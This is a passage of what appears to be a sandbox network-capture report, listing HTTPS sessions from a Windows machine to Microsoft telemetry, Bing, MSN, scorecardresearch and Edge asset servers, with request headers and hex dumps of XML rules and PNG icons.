20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.6	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:51 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:52 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:52 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 9a395038-201e-0071-807e-3bff15000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044652Z-174c587ffdfdwxdvhC1TEB1c4n00000005f0000000001rtd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:52 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49905	2.16.158.176	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:52 UTC	444	OUT	GET /aes/c.gif?RG=796357e597ea4b7d8013f914fe1b8bd4&med=10&pubId=251978541&tids=15000&type=mv&reqver=1.0&TIME=20241125T044646Z&adUnitId=11730597&localId=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&deviceId=6966555320912735&anid=DA18C8825356BAC4E7B23066FFFFFFFF HTTP/1.1 Accept-Encoding: gzip, deflate User-Agent: WindowsShellClient/9.0.40929.0 (Windows) Host: www.bing.com Connection: Keep-Alive Cookie: MUID=1CB5F00CB9A36D683AD1E54EB88A6C62
2024-11-25 04:46:53 UTC	778	IN	HTTP/1.1 200 OK Cache-Control: private,no-store Pragma: no-cache Vary: Origin P3P: CP=BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 6247639D65464E0FBB3A2AF4FE1FD7C4 Ref B: DXB251051107054 Ref C: 2024-11-25T04:46:53Z Content-Length: 0 Date: Mon, 25 Nov 2024 04:46:53 GMT Connection: close Set-Cookie: _EDGE_S=SID=0F34CA01AA06600901F6DF43AB1E6161; path=/; httponly; domain=bing.com Set-Cookie: MUIDB=1CB5F00CB9A36D683AD1E54EB88A6C62; path=/; httponly; expires=Sat, 20-Dec-2025 04:46:53 GMT Alt-Svc: h3=":443"; ma=93600 X-CDN-TraceID: 0.249e1002.1732510013.18fe1c4

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49914	18.164.116.39	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:53 UTC	925	OUT	GET /b?rn=1732510010756&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3C5B860E698662B2092E934C680C6309&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 04:46:54 UTC	955	IN	HTTP/1.1 302 Found Content-Length: 0 Connection: close Date: Mon, 25 Nov 2024 04:46:53 GMT Location: /b2?rn=1732510010756&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3C5B860E698662B2092E934C680C6309&cs_fpit=o&cs_fpdm=null&cs_fpdt=null set-cookie: UID=1BEe5b4e5edcb9abd44dec51732510013; SameSite=None; Secure; domain=.scorecardresearch.com; path=/; max-age=33696000 set-cookie: XID=1BEe5b4e5edcb9abd44dec51732510013; SameSite=None; Secure; Partitioned; domain=.scorecardresearch.com; path=/; max-age=33696000 Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 7c55514b62254664b7255cfc5da6dc92.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK50-P6 X-Amz-Cf-Id: UJO36Z59P1x86hdtRGJMlDD-F7rXrH-UxUTzbPGzuoEeaQozg8iySA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49907	13.107.246.40	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:53 UTC	438	OUT	GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 04:46:54 UTC	516	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:54 GMT Content-Type: image/png Content-Length: 1579 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:08 GMT ETag: 0x8DBDCB5DE99522A x-ms-request-id: 5ebf9a3d-d01e-006e-05f5-3ec12e000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T044653Z-174c587ffdf9xbcchC1TEBxkz4000000059g00000000ahd3 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-25 04:46:54 UTC	1579	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 c0 49 44 41 54 78 01 ed 58 4f 8b 5c 45 10 af 7a f3 66 66 15 c5 fd 00 42 66 f2 05 b2 22 c2 1e 54 d6 4f 90 15 c1 63 d8 e0 49 04 37 01 11 11 25 89 e0 d5 04 0f 1a f0 e0 e6 62 c4 cb 1e 44 50 21 b8 df 20 7b f0 4f 6e 1b 4f 8b 20 cc 7a 89 b3 ef 75 57 f9 ab ea 9e 37 cb 66 77 66 36 93 83 84 ad a4 d3 fd de eb 79 fd 7b bf fa 55 75 75 88 4e ed d4 9e 20 5b d9 dc ed 2d df de ed d1 63 34 a6 39 6c e5 fb c1 4a 54 39 2f 42 ab 22 d2 8b 91 54 a2 92 d4 91 63 90 6d 09 74 57 2a fd fc b7 77 9e df a6 47 b4 47 02 b8 f2 f3 60 29 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaIDATxXO\EzffBf"TOcI7%bDP! {OnO zuW7fwf6y{UuuN [-c49lJT9/B"TcmtW*wGG`)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49910	13.107.246.40	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:53 UTC	431	OUT	GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 04:46:54 UTC	543	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:53 GMT Content-Type: image/png Content-Length: 1966 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:31 GMT ETag: 0x8DBDCB5EC122A94 x-ms-request-id: 46e4016d-801e-0076-1bdb-3eecbb000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T044653Z-178bfbc474bv7whqhC1NYC1fg400000007200000000026h2 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:46:54 UTC	1966	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 43 49 44 41 54 78 01 ed 97 5b 68 5c 75 1e c7 7f ff 73 f9 9f 49 d2 49 4f da 98 b4 6a d7 d9 c5 16 bc b0 4e c1 bd c8 6e d8 99 07 1f 74 1f 9a e0 2a 15 77 d7 06 0b 82 0f d5 3c 54 10 1f 3a 41 d0 2a 8a 2d 55 29 68 4d 14 1f 6a d3 92 3c 28 58 45 92 fa d0 0a 82 8e 48 14 6a 6b 53 d0 b4 21 4d e7 cc 64 6e 67 ce cd ef ef 64 4e 48 ed c5 74 d2 e8 4b 7f c3 9f ff b9 cd 39 9f f3 fd ff 6e 87 e8 ba 2d cd c4 62 2f 1c 1a 1a 4a 29 8a b2 c9 f3 bc 44 10 04 3c c8 71 1c 0b fb 59 8c af 71 6e a4 b7 b7 d7 a2 6b 6c bf 0a 38 3c 3c fc Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaCIDATx[h\usIIOjNntw<T:A-U)hMj<(XEHjkS!MdngdNHtK9n-b/J)D<qYqnkl8<<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49906	13.107.246.40	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:53 UTC	433	OUT	GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 04:46:54 UTC	516	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:54 GMT Content-Type: image/png Content-Length: 1751 Connection: close Last-Modified: Tue, 17 Oct 2023 00:34:33 GMT ETag: 0x8DBCEA8D5AACC85 x-ms-request-id: f2b4d97c-d01e-004c-5cf5-3eaf18000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T044653Z-178bfbc474bfw4gbhC1NYCunf400000006vg00000000n5be Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-25 04:46:54 UTC	1751	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 06 6c 49 44 41 54 78 01 ed 98 4d 6c 54 55 14 c7 cf 9d ce b4 52 09 42 85 b8 40 ed f3 23 44 37 0a b8 32 71 01 71 a1 89 1b dc 08 3b ab 0b 64 87 b8 30 84 10 3a c3 c2 a5 1a 57 b8 52 16 26 6e 8c 10 3f 91 c5 a0 a2 21 0d d1 c6 18 63 34 9a 91 b8 c0 40 6c a1 ed cc 7b ef 7e 1c ff e7 de fb e6 4d 3f a0 1f d4 e8 a2 17 5e de eb ed 9b f7 7e f7 7f ce f9 9f 3b 25 5a 1b 6b e3 bf 1d 8a 56 71 d4 cf f2 2e 36 34 ca 44 bb d8 11 15 07 71 cf 19 ff 71 ad 08 3f 3b 4b 13 4e bb 3f 74 27 1f cf 3a d4 38 71 68 5d eb 5f 03 3c 76 86 9f c7 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAalIDATxMlTURB@#D72qq;d0:WR&n?!c4@l{~M?^~;%ZkVq.64Dqq?;KN?t':8qh]_<v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.6	49911	13.107.246.40	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:53 UTC	433	OUT	GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 04:46:54 UTC	543	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:53 GMT Content-Type: image/png Content-Length: 1427 Connection: close Last-Modified: Fri, 03 Nov 2023 21:43:36 GMT ETag: 0x8DBDCB5EF021F8E x-ms-request-id: ff3df75d-201e-001d-4fe3-3eb1ed000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T044653Z-178bfbc474btvfdfhC1NYCa2en0000000730000000004wpc Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 X-Cache: TCP_REMOTE_HIT Accept-Ranges: bytes
2024-11-25 04:46:54 UTC	1427	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 05 28 49 44 41 54 78 01 ed 57 cd 6b 24 45 14 7f af 67 86 c4 5d cd 8e 9b 05 d1 3d ec e8 1f 20 5e 3d 28 eb 41 04 41 44 10 3c 66 d1 53 92 d3 42 40 72 da 11 84 5c b3 7f 80 24 39 48 40 d4 8b 17 2f b2 e2 1f a0 1e 25 a7 01 11 16 17 35 1f f3 d1 dd d5 55 cf 57 df d5 d3 eb 4e 5a f0 22 53 a1 52 9d 57 5d ef fd de ef 7d 74 05 60 39 96 63 39 96 e3 3f 1d 08 ff 62 1c 1f 1f df e6 e5 9e 52 ea 15 5e fb bc 02 11 99 a9 9f f5 e4 41 52 4a 74 7b df f3 7a 77 7b 7b fb 67 68 39 5a 03 3c 3a 3a da 40 c4 43 0f ea 1f 56 3d 34 38 e2 89 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAa(IDATxWk$Eg]= ^=(AAD<fSB@r\$9H@/%5UWNZ"SRW]}t`9c9?bR^ARJt{zw{{gh9Z<::@CV=48

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49908	13.107.246.40	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:53 UTC	430	OUT	GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 04:46:54 UTC	515	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:53 GMT Content-Type: image/png Content-Length: 2008 Connection: close Last-Modified: Tue, 10 Oct 2023 17:24:26 GMT ETag: 0x8DBC9B5C0C17219 x-ms-request-id: 262987a9-101e-003c-042a-3ddcdc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T044653Z-174c587ffdf6b487hC1TEBydsn00000005e0000000005ba6 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:54 UTC	2008	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 07 6d 49 44 41 54 78 01 ed 98 bf 6f 14 47 14 c7 df ec 9d 11 48 48 5c aa 94 de 74 74 18 45 a9 59 24 0a d2 24 54 91 a0 f1 39 44 24 45 24 ec 32 0d be 28 05 44 14 98 2a e9 7c 96 50 e4 26 32 11 2d 02 47 91 02 4d 64 a3 08 25 92 a5 70 fc 05 18 ff 38 df ed af 97 ef 77 76 66 bd 36 07 67 9b 58 69 18 69 34 b3 b3 bb b3 9f fb ce 7b 6f de 9c c8 bb f2 76 c5 c8 21 95 bf 66 35 4c 33 59 8a 33 6d e0 33 53 1f 7e 69 66 38 fe 74 56 c7 b2 54 1e 26 a9 34 f2 4c a6 3e fa ba 18 ff e3 96 36 7b 89 cc 6e f5 45 92 2c 9b f8 b8 55 6f 73 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAamIDATxoGHH\ttEY$$T9D$E$2(D*\|P&2-GMd%p8wvf6gXii4{ov!f5L3Y3m3S~if8tVT&4L>6{nE,Uos

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.6	49909	13.107.246.40	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:53 UTC	422	OUT	GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 04:46:54 UTC	536	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:53 GMT Content-Type: image/png Content-Length: 2229 Connection: close Last-Modified: Wed, 25 Oct 2023 19:48:24 GMT ETag: 0x8DBD59359A9E77B x-ms-request-id: 844932cf-a01e-0061-17e3-3e2cd8000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T044653Z-178bfbc474btrnf9hC1NYCb80g000000073g00000000ba83 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:46:54 UTC	2229	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 28 00 00 00 28 08 06 00 00 00 8c fe b8 6d 00 00 00 09 70 48 59 73 00 00 16 25 00 00 16 25 01 49 52 24 f0 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 08 4a 49 44 41 54 78 01 ed 98 6d 88 5c 57 19 c7 9f e7 dc 7b 37 89 49 9a dd 6c 5e d6 96 c0 c4 36 a1 d5 2f 49 a1 92 22 ea 06 ac a4 41 21 05 41 2a e8 ee 16 a4 82 e0 26 62 a5 b5 92 99 f1 8b 2f 68 b3 fd 92 16 ad 64 fb 29 16 62 53 6d 68 17 15 b2 a2 ed 07 b1 6c a8 95 d6 97 74 36 a9 35 69 d2 90 dd 6d bb 9b 99 7b ce 79 fc 3f e7 dc d9 8d 99 24 b3 2f f9 d8 03 77 9e 7b ce dc b9 e7 77 ff cf cb 39 77 88 3e 6c 4b 6b 4c 37 a8 f5 ee 1d 2b a5 44 25 c2 47 9a d2 f8 c8 8f b6 8f d3 0d 68 4b 06 dc f1 8d df f7 ae cc ba cb 6c a8 Data Ascii: PNGIHDR((mpHYs%%IR$sRGBgAMAaJIDATxm\W{7Il^6/I"A!A*&b/hd)bSmhlt65im{y?$/w{w9w>lKkL7+D%GhKl

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.6	49913	20.110.205.119	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:53 UTC	1175	OUT	GET /c.gif?rnd=1732510010755&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=30516179784a442f849e382ceb949bec&activityId=30516179784a442f849e382ceb949bec&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3C5B860E698662B2092E934C680C6309; _EDGE_S=F=1&SID=269DF6BE1237649B1D36E3FC137065DE; _EDGE_V=1
2024-11-25 04:46:54 UTC	1108	IN	HTTP/1.1 302 Redirect Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Location: https://c.bing.com/c.gif?rnd=1732510010755&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=30516179784a442f849e382ceb949bec&activityId=30516179784a442f849e382ceb949bec&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=ED96FB6555544A40B38C59F77052B804&RedC=c.msn.com&MXFR=3C5B860E698662B2092E934C680C6309 Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=T; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=3C5B860E698662B2092E934C680C6309; domain=.msn.com; expires=Sat, 20-Dec-2025 04:46:53 GMT; path=/; SameSite=None; Secure; Priority=High; Date: Mon, 25 Nov 2024 04:46:53 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49915	23.101.168.44	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:53 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=3C5B860E698662B2092E934C680C6309&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=04df930caeeb455999b2103bf63b7b0f HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=3C5B860E698662B2092E934C680C6309; _EDGE_S=F=1&SID=269DF6BE1237649B1D36E3FC137065DE; _EDGE_V=1
